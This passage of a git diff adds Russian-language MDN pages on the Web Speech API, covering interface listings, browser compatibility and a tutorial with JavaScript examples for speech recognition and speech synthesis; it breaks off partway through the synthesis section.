+ <dt>{{domxref("SpeechRecognitionError")}}</dt>
+ <dd>Представляет сообщения об ошибках из службы распознавания.</dd>
+ <dt>{{domxref("SpeechRecognitionEvent")}}</dt>
+ <dd>The event object for the {{event("result")}} and {{event("nomatch")}} events, and contains all the data associated with an interim or final speech recognition result.</dd>
+ <dt>{{domxref("SpeechGrammar")}}</dt>
+ <dd>Слова или шаблоны слов которые мы хотим чтобы служба распознавания распознала.</dd>
+ <dt>{{domxref("SpeechGrammarList")}}</dt>
+ <dd>Представляет список объектов {{domxref("SpeechGrammar")}}.</dd>
+ <dt>{{domxref("SpeechRecognitionResult")}}</dt>
+ <dd>Представляет одно распознанное совпадение, которое может содержать несколько объектов {{domxref("SpeechRecognitionAlternative")}}.</dd>
+ <dt>{{domxref("SpeechRecognitionResultList")}}</dt>
+ <dd>Represents a list of {{domxref("SpeechRecognitionResult")}} objects, or a single one if results are being captured in {{domxref("SpeechRecognition.continuous","continuous")}} mode.</dd>
+</dl>
+
+<h3 id="Синтезирование_речи">Синтезирование речи</h3>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesis")}}</dt>
+ <dd>The controller interface for the speech service; this can be used to retrieve information about the synthesis voices available on the device, start and pause speech, and other commands besides.</dd>
+ <dt>{{domxref("SpeechSynthesisErrorEvent")}}</dt>
+ <dd>Contains information about any errors that occur while processing {{domxref("SpeechSynthesisUtterance")}} objects in the speech service.</dd>
+ <dt>{{domxref("SpeechSynthesisEvent")}}</dt>
+ <dd>Contains information about the current state of {{domxref("SpeechSynthesisUtterance")}} objects that have been processed in the speech service.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance")}}</dt>
+ <dd>Represents a speech request. It contains the content the speech service should read and information about how to read it (e.g. language, pitch and volume.)</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesisVoice")}}</dt>
+ <dd>Represents a voice that the system supports. Every <code>SpeechSynthesisVoice</code> has its own relative speech service including information about language, name and URI.</dd>
+ <dt>{{domxref("Window.speechSynthesis")}}</dt>
+ <dd>Specced out as part of a <code>[NoInterfaceObject]</code> interface called <code>SpeechSynthesisGetter</code>, and Implemented by the <code>Window</code> object, the <code>speechSynthesis</code> property provides access to the {{domxref("SpeechSynthesis")}} controller, and therefore the entry point to speech synthesis functionality.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p><a href="https://github.com/mdn/web-speech-api/">Web Speech API репозиторий</a> на GitHub содержит примеры, показывающие распознавание и синтез речи.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>{{Spec2('Web Speech API')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(33)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(49)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>2.5</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>[1] Speech recognition interfaces are currently prefixed in Chrome, so you'll need to prefix interface names appropriately, e.g. <code>webkitSpeechRecognition</code>; You'll also need to serve your code through a web server for recognition to work. Speech synthesis is fully supported without prefixes.</li>
+ <li>[2] Recognition can be enabled via the <code>media.webspeech.recognition.enable</code> flag in <code>about:config</code>; synthesis is switched on by default. Note that currently only the speech synthesis part is available in Firefox Desktop — the speech recognition part will be available soon, once the required internal permissions are sorted out.</li>
+</ul>
+
+<h2 id="Firefox_OS_permissions">Firefox OS permissions</h2>
+
+<p>To use speech recognition in an app, you need to specify the following permissions in your <a href="/en-US/docs/Web/Apps/Build/Manifest">manifest</a>:</p>
+
+<pre class="brush: json notranslate">"permissions": {
+  "audio-capture" : {
+    "description" : "Audio capture"
+  },
+  "speech-recognition" : {
+    "description" : "Speech recognition"
+  }
+}</pre>
+
+<p>You also need a privileged app, so you need to include this as well:</p>
+
+<pre class="brush: json notranslate">  "type": "privileged"</pre>
+
+<p>Speech synthesis needs no permissions to be set.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Speech_API/Using_the_Web_Speech_API">Using the Web Speech API</a></li>
+ <li><a href="http://www.sitepoint.com/talking-web-pages-and-the-speech-synthesis-api/">SitePoint article</a></li>
+ <li><a href="http://updates.html5rocks.com/2014/01/Web-apps-that-talk---Introduction-to-the-Speech-Synthesis-API">HTML5Rocks article</a></li>
+ <li><a href="http://aurelio.audero.it/demo/speech-synthesis-api-demo.html">Demo</a> [aurelio.audero.it]</li>
+</ul>
diff --git a/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html
new file mode 100644
index 0000000000..f869af47d3
--- /dev/null
+++ b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html
@@ -0,0 +1,416 @@
+---
+title: Применение Web Speech API
+slug: Web/API/Web_Speech_API/Using_the_Web_Speech_API
+tags:
+  - API
+  - Web Speech API
+  - Воспроизведение речи
+  - Распознавание речи
+  - Синтез речи
+translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API
+---
+<p class="summary">Web Speech API предоставляет 2 основных типа функционала — <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition">распознавание речи пользователя</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">речевое воспроизведение текста</a>. Это предоставляет новые возможности для взаимодействия с интерфейсом и открывает перед нами новые горизонты создания уникального пользовательского опыта. Эта статья дает краткое описание обоих направлений с примерами кода и ссылкой на работающее приложение онлайн.</p>
+
+<h2 id="Распознавание_речи">Распознавание речи</h2>
+
+<p>Механизм распознавания речи способен принимать речевой поток через микрофон устройства, а затем проверять его, используя свои внутренние алгоритмы. Для более точной работы рекомендуется использовать интерфейс <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechGrammar">SpeechGrammar</a>, предоставляющий контейнер для определенного набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью <a href="https://www.w3.org/TR/jsgf/">JSpeech Grammar Format(JSGF.)</a>.</p>
+
+<p>После того, как пользовательская речь была распознана, алгоритм возвращает результат (список результатов) в качестве текстовой строки, с которой мы можем продолжить работу.</p>
+
+<div class="note">
+<p><strong>Внимание:</strong> В Chrome распознавание речи на веб-странице завязано на взаимодействие с сервером. Ваш звук отправляется на веб-службу для обработки распознавания, поэтому приложение не будет работать в оффлайн-режиме.</p>
+</div>
+
+<h3 id="Демо">Демо</h3>
+
+<p>Для запуска демо достаточно перейти по <a href="https://ru.web-speech-api-example.cheliz.top/">ссылке на приложение </a>или скачать <a href="https://github.com/Oleg-Miniuk/ru_web_speech_example">репозиторий</a>, установить зависимости (<code>npm install</code>) и запустить приложение (<code>npm run start</code>), после чего открыть <strong>localhost:4001</strong> в браузере.</p>
+
+<p><img alt="" src="https://pp.userapi.com/c831409/v831409509/1c0226/S_tm-BfW-U8.jpg" style="height: 362px; width: 652px;"></p>
+
+<p>после озвучки команды</p>
+
+<p><img alt="" src="https://pp.userapi.com/c831409/v831409509/1c022e/uWRjlOvjopk.jpg" style="height: 329px; width: 650px;"></p>
+
+<h3 id="Браузерная_поддержка">Браузерная поддержка</h3>
+
+<p>Поддержка интерфейса еще только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:</p>
+
+<ul>
+ <li dir="ltr">
+  <p dir="ltr">Мобильный и десктопный Firefox поддерживает его в Gecko 44+ без префиксов, и его можно включить, установив значение флага <code>media.webspeech.recognition.enable</code> на <code>true</code> в <code>about:config</code></p>
+ </li>
+ <li dir="ltr">
+  <p dir="ltr">Chrome для настольных компьютеров и версия для Android поддерживали его с версии 33, но с прописанными префиксами, поэтому вам нужно использовать префиксную версию, например <code>webkitSpeechRecognition</code></p>
+ </li>
+</ul>
+
+<p dir="ltr">Традиционно, самая актуальная информация по поддержке чего-либо в браузерах на <a href="https://caniuse.com/#search=speech">caniuse</a>.</p>
+
+<h3 id="HTML_и_CSS">HTML и CSS</h3>
+
+<p>Разметка и стили предельно просты. У нас есть значок микрофона, на который мы можем кликнуть для начала записи, анимация звукозаписи, которая включается после клика, и фоновый контейнер, который будет изменять свой цвет, в зависимости от того, что озвучит пользователь.</p>
+
+<p>CSS задает простые отзывчивые стили, для корректного отображения и работы на всех устройствах</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>А вот на реализацию логики давайте обратим более пристальное внимание.</p>
+
+<h4 id="Поддержка_Chrome">Поддержка Chrome </h4>
+
+<p>Как уже упоминалось ранее, в настоящее время Chrome поддерживает интерфейс распознавания речи с указанными префиксами, поэтому в начале нашего кода мы включаем строки префиксов для использования нужных объектов в Chrome и ссылки на объекты без префиксов для Firefox.</p>
+
+<pre>const SpeechRecognition = window.SpeechRecognition || window.webkitSpeechRecognition;
+const SpeechGrammarList = window.SpeechGrammarList || window.webkitSpeechGrammarList;
+const SpeechRecognitionEvent = window.SpeechRecognitionEvent || window.webkitSpeechRecognitionEvent;
+</pre>
+
+<h4 id="Грамматика">Грамматика</h4>
+
+<p>Следующая часть нашего кода определяет грамматику, которую мы хотим, применять для поиска соответствий.</p>
+
+<p>Определяем следующие переменные:</p>
+
+<pre>const colors = {
+  красный: 'red',
+  оранжевый: 'orange',
+  желтый: 'yellow',
+  зеленый: 'green',
+  голубой: 'blue',
+  синий: 'darkblue',
+  фиолетовый: 'violet'
+};
+
+const colorsList = Object.keys(colors);
+
+const grammar = '#JSGF V1.0; grammar colors; public &lt;color&gt; = ' + colorsList.join(' | ') + ' ;';
+
+Формат “грамматики“ используемой нами - это <a href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (JSGF) - по ссылке можете почитать про это больше.</pre>
+
+<p dir="ltr">Быстро пробежимся по основным принципам:</p>
+
+<ul>
+ <li dir="ltr">
+  <p dir="ltr">Линии разделены точкой с запятой, как и в JavaScript.</p>
+ </li>
+ <li dir="ltr">
+  <p dir="ltr">Первая строка - <code>#JSGF V1.0;</code> - указывает формат и версию. Это всегда необходимо включать в первую очередь.</p>
+ </li>
+ <li dir="ltr">
+  <p dir="ltr">Вторая строка указывает значение, которое мы хотим распознать. public объявляет, что это общедоступное правило, строка в угловых скобках определяет распознанное имя для этого значения (цвет), а список элементов, следующих за знаком равенства, - это альтернативные варианты, которые будут распознаны и могут быть приняты в качестве возможного значения. Обратите внимание, как каждый из них разделяется вертикальной линией (“|” - “pipe character”).</p>
+ </li>
+ <li dir="ltr">
+  <p dir="ltr">У вас может быть множество значений, определенных отдельно, как указано выше, и содержащих довольно сложные определения грамматики. Для нашего демонстрационного примера мы делаем все просто.</p>
+ </li>
+</ul>
+
+<h4 id="Подключение_грамматики_к_нашему_распознаванию_речи"><strong id="docs-internal-guid-5c511c58-7fff-3f7e-ba1f-2130d83c633a">Подключение грамматики к нашему распознаванию речи</strong></h4>
+
+<p>Следующее, что нужно сделать, это определить экземпляр объекта распознавания речи для управления записью нашего приложения.</p>
+
+<p dir="ltr">Это делается с помощью конструктора <code>SpeechRecognition()</code>. Мы также создаем новый речевой грамматический список, чтобы содержать нашу грамматику, используя конструктор <code>SpeechGrammarList()</code>.</p>
+
+<pre>const recognition = new SpeechRecognition();
+const speechRecognitionList = new SpeechGrammarList();</pre>
+
+<p>Добавляем нашу “грамматику” в список, используя метод <code>SpeechGrammarList.addFromString()</code>. Он принимает в качестве параметров строку, плюс необязательное значение веса, которое указывает важность этой грамматики по отношению к другим грамматикам, доступным в списке (может быть от 0 до 1 включительно). Добавленная грамматика доступна в списке как экземпляр объекта <code>SpeechGrammar</code>.</p>
+
+<pre class="brush: js">speechRecognitionList.addFromString(grammar, 1);
+</pre>
+
+<p dir="ltr">Затем мы добавляем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechGrammarList">SpeechGrammarList</a></code> к уже созданному объекту распознавания речи, присваивая его значение свойству <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/grammars">SpeechRecognition.grammars</a></code>. Также зададим еще несколько свойств объекту, прежде чем двигаться дальше:</p>
+
+<ul>
+ <li dir="ltr">
+  <p dir="ltr"><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/lang">SpeechRecognition.lang</a></code>: устанавливает язык распознавания. Его установка - это хорошая практика, поэтому рекомендуется не пропускать.</p>
+ </li>
+ <li dir="ltr">
+  <p dir="ltr"><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/interimResults">SpeechRecognition.interimResults</a></code>: определяет, должна ли система распознавания речи возвращать промежуточные результаты или только конечные результаты. Только конечные результаты подойдут для этой нашего простого приложения.</p>
+ </li>
+ <li dir="ltr">
+  <p dir="ltr"><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/maxAlternatives">SpeechRecognition.maxAlternatives</a></code>: устанавливает количество альтернативных потенциальных совпадений, которые должны быть возвращены на каждый результат. Иногда это может быть полезно, скажем, если результат распознан не точно, и вы хотите отобразить пользователю список вариантов. Но это для простого примера это не нужно, поэтому мы просто указываем один (который по сути является вариантом по умолчанию).</p>
+ </li>
+</ul>
+
+<pre class="brush: js">recognition.grammars = speechRecognitionList;
+//recognition.continuous = false;
+recognition.lang = 'ru-RU';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;
+</pre>
+
+<div class="note">
+<p dir="ltr"><strong>Внимание:</strong>  <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/continuous">SpeechRecognition.continuous</a></code> задает, отслеживаются ли продолжающиеся результаты или только 1 результат, каждый раз, когда запись начата. Это закомментировано, поскольку данное свойство в еще не реализовано в Gecko.</p>
+
+<p dir="ltr">Вы можете получить аналогичный результат, просто прекратив распознавание после получения первого результата.</p>
+</div>
+
+<h4 id="Запуск_распознавания_речи">Запуск распознавания речи</h4>
+
+<p>После получения ссылок на DOM-элементы, необходимые нам для обработки пользовательских событий и обновления цвета фона приложения, мы реализуем обработчик <code>onclick</code>, чтобы при нажатии на значок микрофона сервис распознавания речи начинал работу. Запуск происходит путем вызова функции <code>SpeechRecognition.start()</code>.</p>
+
+<pre>microphoneIcon.onclick = function() {
+  recognition.start();
+  console.log('Ready to receive a color command.');
+};
+
+recognition.onaudiostart = function() {
+  microphoneWrapper.style.visibility = 'hidden';
+  audioRecordAnimation.style.visibility = 'visible';
+};
+</pre>
+
+<h4 id="Получение_и_обработка_результата">Получение и обработка результата</h4>
+
+<p>После того, как процесс распознавания речи был запущен, есть много обработчиков событий, которые могут быть использованы для работы с результатом и другой сопутствующей информацией (см. <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition#%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%87%D0%B8%D0%BA%D0%B8_%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B9">Список обработчиков событий SpeechRecognition</a>.) Наиболее распространенный, который вы, вероятно, и будете использовать, это <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onresult">SpeechRecognition.onresult</a>, который запускается сразу после получения успешного результата. Значение цвета получаем вызовом функции <code>getColor()</code></p>
+
+<pre>function getColor(speechResult) {
+  for (let index = 0; index &lt; colorsList.length; index += 1) {
+    if (speechResult.indexOf(colorsList[index]) !== -1) {
+      const colorKey = colorsList[index];
+      return [colorKey, colors[colorKey]];
+    }
+  }
+  return null;
+}
+
+recognition.onresult = function(event) {
+  const last = event.results.length - 1;
+  const colors = getColor(event.results[last][0].transcript);
+  recognitionTextResult.textContent = 'Результат: ' + colors[0];
+  speechRecognitionSection.style.backgroundColor = colors[1];
+  console.log('Confidence: ' + event.results[0][0].confidence);
+};</pre>
+
+<p>Третья строка здесь выглядит немного усложненной, поэтому давайте разберемся с ней подробнее. Свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionEvent/results">SpeechRecognitionEvent.results</a></code> возвращает объект <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResultList">SpeechRecognitionResultList</a></code>, содержащий в себе другие объекты типа <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResult">SpeechRecognitionResult</a></code>. У него есть геттер, поэтому он может быть доступен как массив, поэтому переменная <code>last</code> определяет ссылку на <code>SpeechRecognitionResult</code> из списка. Каждый объект <code>SpeechRecognitionResult</code> содержит объекты <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionAlternative">SpeechRecognitionAlternative</a></code>, которые содержат отдельные распознанные слова. Они также имеют геттеры, поэтому к ним можно получить доступ как к массивам, поэтому логично, что [0] возвращает значение <code>SpeechRecognitionAlternative</code> по индексу 0. Затем мы возвращаем строку, содержащую индивидуально распознанный результат, используя который и можем установить цвет фона.</p>
+
+<p>Мы также используем свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onspeechend">SpeechRecognition.speechend</a></code>, чтобы задать обработчик на завершение работы распознавателя речи (вызов <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/stop">SpeechRecognition.stop()</a></code> ), как только одно слово было распознано, и входящий речевой поток был остановлен.</p>
+
+<pre>recognition.onspeechend = function() {
+  recognition.stop();
+  microphoneWrapper.style.visibility = 'visible';
+  audioRecordAnimation.style.visibility = 'hidden';
+};
+
+</pre>
+
+<h4 id="Обработка_ошибок">Обработка ошибок</h4>
+
+<p>Последние два обработчика используются для отлова ошибок: когда речь была признана не в соответствии с определенной грамматикой или произошла ошибка. По логике, <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onnomatch">SpeechRecognition.onnomatch</a></code>, должен обрабатывать первый случай, но обратите внимание, что на данный момент он не срабатывает правильно в Firefox или Chrome, он просто возвращает все, что было распознано в любом случае:</p>
+
+<pre>recognition.onnomatch = function(event) {
+  alert("I didn't recognise that color.");
+};</pre>
+
+<p><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onerror">SpeechRecognition.onerror</a></code> обрабатывает случаи, когда имела место быть фактическая ошибка при распознавании. Свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionError/error">SpeechRecognitionError.error</a></code> содержит возвращаемую фактическую ошибку:</p>
+
+<pre>recognition.onerror = function(event) {
+  alert(`Error occurred in recognition: ${event.error}`);
+};
+</pre>
+
+<h2 id="Синтез_речи">Синтез речи</h2>
+
+<p>Синтез речи (text-to-speech или tts) подразумевает получение синтезированного текста приложения и его речевое воспроизведение.<br>
+ <br>
+ Для этой цели Web Speech API предоставляет интерфейс - <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">SpeechSynthesis</a></code> - плюс ряд близких интерфейсов для нужного нам воспроизведения текста (utterances - “дикция”), набор голосов, которыми приложение будет “говорить”, и т. д.<br>
+ Опять же, большинство ОС имеют некоторые встроенные системы синтеза речи, которые будут задействованы нашим API для этой цели.</p>
+
+<h3 id="Демо_2">Демо</h3>
+
+<p>То же самое приложение из предыдущего примера.<br>
+ <a href="https://ru.web-speech-api-example.cheliz.top/">Ccылка на приложение</a> или <a href="https://github.com/Oleg-Miniuk/ru_web_speech_example">репозиторий</a> (клонируем, затем <code>npm install &amp;&amp; npm run start</code> в терминале, после чего открыть <strong>localhost:4001</strong> в браузере).<br>
+ <br>
+ Пользовательский интерфейс включает в себя набор элементов для ввода текста, задания высоты тона, скорости воспроизведения и непосредственного выбора голоса, которым будет текст произнесен.</p>
+
+<p>После ввода текста вы можете нажать <strong>Play</strong> для запуска.</p>
+
+<p><img alt="" src="https://pp.userapi.com/c847220/v847220505/1103b9/Jlnq5hDThyQ.jpg" style="height: 529px; width: 634px;"></p>
+
+<h3 id="Браузерная_поддержка_2">Браузерная поддержка</h3>
+
+<p>Поддержка интерфейса еще только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:</p>
+
+<ul>
+ <li dir="ltr">
+  <p dir="ltr">Мобильный и десктопный Firefox поддерживает его в Gecko 44+ без префиксов, и его можно включить, установив значение флага media.webspeech.synth.enabled на true в about:config</p>
+ </li>
+ <li dir="ltr">
+  <p dir="ltr">Chrome для настольных компьютеров и версия для Android поддерживали его с версии 33 без префиксов</p>
+ </li>
+</ul>
+
+<ul>
+ <li>
+  <p>Традиционно, самая актуальная информация по поддержке чего-либо в браузерах на <a href="https://caniuse.com/#search=SpeechSynthesis">caniuse</a>.</p>
+ </li>
+</ul>
+
+<h3 id="HTML_и_CSS_2">HTML и CSS</h3>
+
+<p>HTML и CSS снова достаточно тривиальны.<br>
+ Заголовок и форму с некоторыми простыми элементами управления.<br>
+ Элемент <code>&lt;select&gt; </code>изначально пуст, но заполняется с помощью <code>&lt;option&gt;</code> через JavaScript (см. ниже).</p>
+
+<p>CSS задает простые отзывчивые стили, для корректного отображения и работы на всех устройствах</p>
+
+<pre>&lt;section&gt;
+  &lt;h1&gt;Синтез речи&lt;/h1&gt;
+  &lt;p&gt;Введите текст в поле ниже и нажмите кнопку "Play", чтобы прослушать запись. Выбирайте возможные голоса из списка ниже&lt;/p&gt;
+
+  &lt;form&gt;
+    &lt;input type="text" class="text"&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="values-box"&gt;
+        &lt;div class="value-box"&gt;
+          &lt;div&gt;Темп (Rate)&lt;/div&gt;
+          &lt;div class="value value--rate-value"&gt;1&lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div class="value-box"&gt;
+          &lt;div&gt;Диапазон (Pitch)&lt;/div&gt;
+          &lt;div class="value value--pitch-value"&gt;1&lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+
+      &lt;div class="ranges-box"&gt;
+        &lt;input type="range" min="0.5" max="2" value="1" step="0.1" id="rate"&gt;
+        &lt;input type="range" min="0" max="2" value="1" step="0.1" id="pitch"&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;select&gt;
+    &lt;/select&gt;
+
+    &lt;button id="play" type="submit"&gt;Play&lt;/button&gt;
+
+  &lt;/form&gt;</pre>
+
+<h3 id="JavaScript_2">JavaScript</h3>
+
+<p>Давайте более детально рассмотрим скрипт, задающий логику нашему приложения.</p>
+
+<h4 id="Задание_переменных">Задание переменных</h4>
+
+<p>Прежде всего, создаем ссылки на все нужные нам DOM-элементы.</p>
+
+<p dir="ltr">Входная точка API - <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/speechSynthesis">window.speechSynthesis</a></code>, возвращает экземпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">SpeechSynthesis</a></code>, интерфейс контроллера для синтеза речи в вебе.</p>
+
+<pre>const synth = window.speechSynthesis;
+const inputForm = document.querySelector('form');
+const inputTxt = document.querySelector('.text');
+const voicesList = document.querySelector('select');
+const pitch = document.querySelector('#pitch');
+const pitchValue = document.querySelector('.value--pitch-value');
+const rate = document.querySelector('#rate');
+const rateValue = document.querySelector('.value--rate-value');
+let voices = [];</pre>
+
+<h4 id="Заполнение_выпадающего_списка">Заполнение выпадающего списка</h4>
+
+<p>Чтобы заполнить элемент <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/select">&lt;select&gt;</a></code> различными вариантами голоса, доступных на устройстве, напишем функцию <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">populateVoiceList()</a></code>. Сначала мы вызываем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">SpeechSynthesis.getVoices()</a></code>, который возвращает список всех доступных вариантов голосов, представленных объектами <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>. Затем мы проходимся по списку, создавая элемент <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/option">&lt;option&gt;</a></code> для каждого отдельного случая, задаем его текстовое содержимое, соответствующее названию голоса (взято из <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/name">SpeechSynthesisVoice.name</a></code>), языка голоса (из <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/lang">SpeechSynthesisVoice.lang</a></code>), и  “по умолчанию”, если голос является голосом по умолчанию для механизма синтеза (проверяется, если функция <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/default">SpeechSynthesisVoice.default</a></code> возвращает значение <code>true</code>.)</p>
+
+<p>Мы также задаем <code>data-</code> атрибуты для каждого варианта, содержащие имя и язык связанного голоса, благодаря чему мы можем легко их собрать их позже, а затем вложить все варианты в качестве дочерних элементов нашего списка (<code>&lt;select&gt;</code>).</p>
+
+<pre>function populateVoiceList() {
+  voices = synth.getVoices();
+  const selectedIndex =
+  voicesList.selectedIndex &lt; 0 ? 0 : voicesList.selectedIndex;
+  voicesList.innerHTML = '';
+
+  for(i = 0; i &lt; voices.length ; i++) {
+    const option = document.createElement('option');
+    option.textContent = voices[i].name + ' (' + voices[i].lang + ')';
+
+    if(voices[i].default) {
+      option.textContent += ' -- DEFAULT';
+    }
+
+    option.setAttribute('data-lang', voices[i].lang);
+    option.setAttribute('data-name', voices[i].name);
+    voiceSelect.appendChild(option);
+  }
+  voicesList.selectedIndex = selectedIndex;
+}</pre>
+
+<p>Когда мы собираемся запустить функцию, мы делаем следующее. Это связано с тем, что Firefox не поддерживает свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/onvoiceschanged">SpeechSynthesis.onvoiceschanged</a></code> и будет только возвращать список голосов при запуске <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">SpeechSynthesis.getVoices()</a></code>. Однако, в Chrome вам нужно дождаться триггера события перед заполнением списка, следовательно, нужно условие, описанное в блоке с <code>if</code> ниже.</p>
+
+<pre>populateVoiceList();
+  if (speechSynthesis.onvoiceschanged !== undefined) {
+  speechSynthesis.onvoiceschanged = populateVoiceList;
+}</pre>
+
+<h4 id="Озвучка_введенного_текста">Озвучка введенного текста</h4>
+
+<p>Затем мы создаем обработчик событий, чтобы начать “произносить” текст, введенный в текстовом поле, при нажатии на кнопку <code>Enter/Return</code> или на <code>Play</code>. Для этого используем обработчик <code><a href="https://developer.mozilla.org/ru/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a></code> в html-формы. В функции-обработчике <code>speak()</code> мы создаем новый экземпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/SpeechSynthesisUtterance">SpeechSynthesisUtterance()</a></code>, передавая значение текстового поля в конструктор.</p>
+
+<p dir="ltr">Затем нам нужно выяснить, какой голос использовать. Мы используем свойство <code><a href="https://developer.mozilla.org/ru/docs/Web/API/HTMLSelectElement">HTMLSelectElement</a></code> <code>selectedOptions</code> для получения выбранного элемента <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/option">&lt;option&gt;</a></code>, у которого берем атрибут data-name, и находим объект <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>, имя которого соответствует значению имеющегося атрибута. После этого устанавливаем соответствующий “голосовой” объект как значение свойства <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/voice">SpeechSynthesisUtterance.voice</a></code>.</p>
+
+<p>Наконец, мы устанавливаем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/pitch">SpeechSynthesisUtterance.pitch</a></code> (высота тона) и <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/rate">SpeechSynthesisUtterance.rate</a></code> (скорость) в соответствии со значениями соответствующих элементов формы. Затем, после всего проделанного, мы запускаем произношение речи, вызывая <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/speak">SpeechSynthesis.speak()</a></code>, и передавая ему экземпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance">SpeechSynthesisUtterance</a></code> в качестве аргумента.</p>
+
